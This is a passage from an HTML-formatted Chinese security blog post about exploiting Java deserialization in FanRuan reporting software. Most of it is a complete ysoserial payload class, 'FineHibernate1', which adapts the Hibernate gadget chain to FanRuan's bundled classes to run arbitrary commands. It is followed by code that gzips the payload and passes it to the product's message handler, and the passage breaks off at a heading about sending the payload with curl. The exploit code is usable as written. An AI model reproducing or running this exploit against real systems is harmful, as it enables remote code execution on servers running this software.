style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">hashCode</span></code><span leaf="">方法,反序列化Hashmap触发</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">readObject</span></code><span leaf=""> 的时候就会触发</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">hashCode</span></code><span leaf="">方法。</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">构造Exp</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">ysoserial项目下新增一个文件</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">src/main/java/ysoserial/payloads/FineHibernate1.java</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">这个文件是个根据Hibernate1这个文件改来的，替换了部分帆软包名·</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""><span class="code-snippet__keyword">package</span><span class="code-snippet__plaintext"> ysoserial.payloads;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.EntityMode;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.engine.spi.TypedValue;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.type.AbstractType;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.type.ComponentType;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.third.org.hibernate.type.Type;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> ysoserial.payloads.annotation.Authors;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> ysoserial.payloads.annotation.PayloadTest;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> ysoserial.payloads.util.Gadgets;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> ysoserial.payloads.util.JavaVersion;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> ysoserial.payloads.util.PayloadRunner;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> ysoserial.payloads.util.Reflections;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.lang.reflect.Array;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.lang.reflect.Constructor;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.lang.reflect.InvocationTargetException;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.lang.reflect.Method;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.util.HashMap;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.util.Map;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__comment">/**</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> *</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl.get()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.type.ComponentType.getPropertyValue(C)</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.type.ComponentType.getHashCode()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.internal.util.ValueHolder.getValue()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * com.fr.third.org.hibernate.engine.spi.TypedValue.hashCode()</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> *</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> *</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * Requires:</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * - Hibernate (&gt;= 5 gives arbitrary method invocation, &lt;5 getXYZ only)</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> *</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> * </span><span class="code-snippet__doctag">@author</span><span class="code-snippet__plaintext"> mbechler</span></span></code><code><span leaf=""><span class="code-snippet__plaintext"> */</span></span></code><code><span leaf=""><span class="code-snippet__meta">@Authors({ Authors.MBECHLER })</span></span></code><code><span leaf=""><span class="code-snippet__meta">@PayloadTest(precondition = &#34;isApplicableJavaVersion&#34;)</span></span></code><code><span leaf=""><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">class</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">FineHibernate1</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">implements</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">ObjectPayload</span><span class="code-snippet__plaintext">&lt;Object&gt;, DynamicDependencies {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">static</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__type">boolean</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">isApplicableJavaVersion</span><span class="code-snippet__params">()</span><span class="code-snippet__plaintext"> {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__keyword">return</span><span class="code-snippet__plaintext"> JavaVersion.isAtLeast(</span><span class="code-snippet__number">7</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">static</span><span class="code-snippet__plaintext"> String[] getDependencies () {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__keyword">if</span><span class="code-snippet__plaintext"> ( System.getProperty(</span><span class="code-snippet__string">&#34;hibernate5&#34;</span><span class="code-snippet__plaintext">) != </span><span class="code-snippet__literal">null</span><span class="code-snippet__plaintext"> ) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            </span><span class="code-snippet__keyword">return</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">String</span><span class="code-snippet__plaintext">[] {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                </span><span class="code-snippet__string">&#34;com.fr.third.org.hibernate:hibernate-core:5.0.7.Final&#34;</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;aopalliance:aopalliance:1.0&#34;</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;org.jboss.logging:jboss-logging:3.3.0.Final&#34;</span><span class="code-snippet__plaintext">,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                </span><span class="code-snippet__string">&#34;javax.transaction:javax.transaction-api:1.2&#34;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            };</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__keyword">return</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">String</span><span class="code-snippet__plaintext">[] {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            </span><span class="code-snippet__string">&#34;com.fr.third.org.hibernate:hibernate-core:4.3.11.Final&#34;</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;aopalliance:aopalliance:1.0&#34;</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;org.jboss.logging:jboss-logging:3.3.0.Final&#34;</span><span class="code-snippet__plaintext">,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            </span><span class="code-snippet__string">&#34;javax.transaction:javax.transaction-api:1.2&#34;</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;dom4j:dom4j:1.6.1&#34;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        };</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">static</span><span class="code-snippet__plaintext"> Object </span><span class="code-snippet__title">makeGetter</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__params">( Class&lt;?&gt; tplClass, String method )</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">throws</span><span class="code-snippet__plaintext"> Exception {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__keyword">return</span><span class="code-snippet__plaintext"> makeHibernate5Getter(tplClass, method);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__comment">// return makeHibernate5Getter(tplClass, method);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        // if ( System.getProperty(&#34;hibernate5&#34;) != null ) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        //     return makeHibernate5Getter(tplClass, method);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        // }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        // return makeHibernate4Getter(tplClass, method);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    public static Object makeHibernate4Getter ( Class&lt;?&gt; tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class&lt;?&gt; getterIf = Class.forName(&#34;com.fr.third.org.hibernate.property.access.spi.Getter&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class&lt;?&gt; basicGetter = Class.forName(&#34;com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Constructor&lt;?&gt; bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setAccessible(bgCon);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        if ( !method.startsWith(&#34;get&#34;) ) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            throw new IllegalArgumentException(&#34;Hibernate4 can only call getters&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object arr = Array.newInstance(getterIf, 1);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Array.set(arr, 0, g);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        return arr;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    public static Object makeHibernate5Getter ( Class&lt;?&gt; tplClass, String method ) throws NoSuchMethodException, SecurityException,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class&lt;?&gt; getterIf = Class.forName(&#34;com.fr.third.org.hibernate.property.access.spi.Getter&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class&lt;?&gt; basicGetter = Class.forName(&#34;com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Constructor&lt;?&gt; bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object g = bgCon.newInstance(tplClass, &#34;test&#34;, tplClass.getDeclaredMethod(method));</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object arr = Array.newInstance(getterIf, 1);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Array.set(arr, 0, g);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        return arr;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    public Object getObject ( String command ) throws Exception {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object tpl = Gadgets.createTemplatesImpl(command);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object getters = makeGetter(tpl.getClass(), &#34;getOutputProperties&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        return makeCaller(tpl, getters);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        if ( System.getProperty(&#34;hibernate3&#34;) != null ) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            return makeHibernate3Caller(tpl, getters);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        return makeHibernate45Caller(tpl, getters);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.getField(AbstractComponentTuplizer.class, &#34;getters&#34;).set(tup, getters);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(t, &#34;componentTuplizer&#34;, tup);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(t, &#34;propertySpan&#34;, 1);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(t, &#34;propertyTypes&#34;, new Type[] {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            t</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        });</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        TypedValue v1 = new TypedValue(t, null);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v1, &#34;value&#34;, tpl);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v1, &#34;type&#34;, t);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        TypedValue v2 = new TypedValue(t, null);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v2, &#34;value&#34;, tpl);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v2, &#34;type&#34;, t);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        return Gadgets.makeMap(v1, v2);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        // Load at runtime to avoid dependency conflicts</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class entityEntityModeToTuplizerMappingClass = Class.forName(&#34;com.fr.third.org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class entityModeToTuplizerMappingClass = Class.forName(&#34;com.fr.third.org.hibernate.tuple.EntityModeToTuplizerMapping&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Class typedValueClass = Class.forName(&#34;com.fr.third.org.hibernate.engine.TypedValue&#34;);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.getField(AbstractComponentTuplizer.class, &#34;getters&#34;).set(tup, getters);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.getField(AbstractComponentTuplizer.class, &#34;propertySpan&#34;).set(tup, 1);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        HashMap hm = new HashMap();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        hm.put(EntityMode.POJO, tup);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(t, &#34;tuplizerMapping&#34;, emtm);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(t, &#34;propertySpan&#34;, 1);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(t, &#34;propertyTypes&#34;, new Type[] {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            t</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        });</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Constructor&lt;?&gt; typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v1, &#34;value&#34;, tpl);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v1, &#34;type&#34;, t);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v2, &#34;value&#34;, tpl);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        Reflections.setFieldValue(v2, &#34;type&#34;, t);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        return Gadgets.makeMap(v1, v2);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    public static void main ( final String[] args ) throws Exception {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        PayloadRunner.run(FineHibernate1.class, args);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">}</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">转换成gzip的文件</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf=""><span class="code-snippet__plaintext">        FileInputStream fileIn = </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> FileInputStream(</span><span class="code-snippet__string">&#34;./test.bin&#34;</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__built_in">byte</span><span class="code-snippet__plaintext">[] var3 = IOUtils.inputStream2Bytes(fileIn);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        OutputStream </span><span class="code-snippet__keyword">out</span><span class="code-snippet__plaintext"> = </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> GZIPOutputStream(</span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> FileOutputStream(</span><span class="code-snippet__string">&#34;./g.bin&#34;</span><span class="code-snippet__plaintext">));</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__keyword">out</span><span class="code-snippet__plaintext">.write(var3);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__keyword">out</span><span class="code-snippet__plaintext">.close();</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        FileInputStream gfileIn = </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> FileInputStream(</span><span class="code-snippet__string">&#34;./g.bin&#34;</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__built_in">byte</span><span class="code-snippet__plaintext">[] var4 = IOUtils.inputStream2Bytes(gfileIn);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        WorkContext.setMessageHandler(</span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> WorkspaceServerInvoker());</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        WorkContext.handleMessage(var4);</span></span></code></pre></section><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">通过curl发送payload</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times 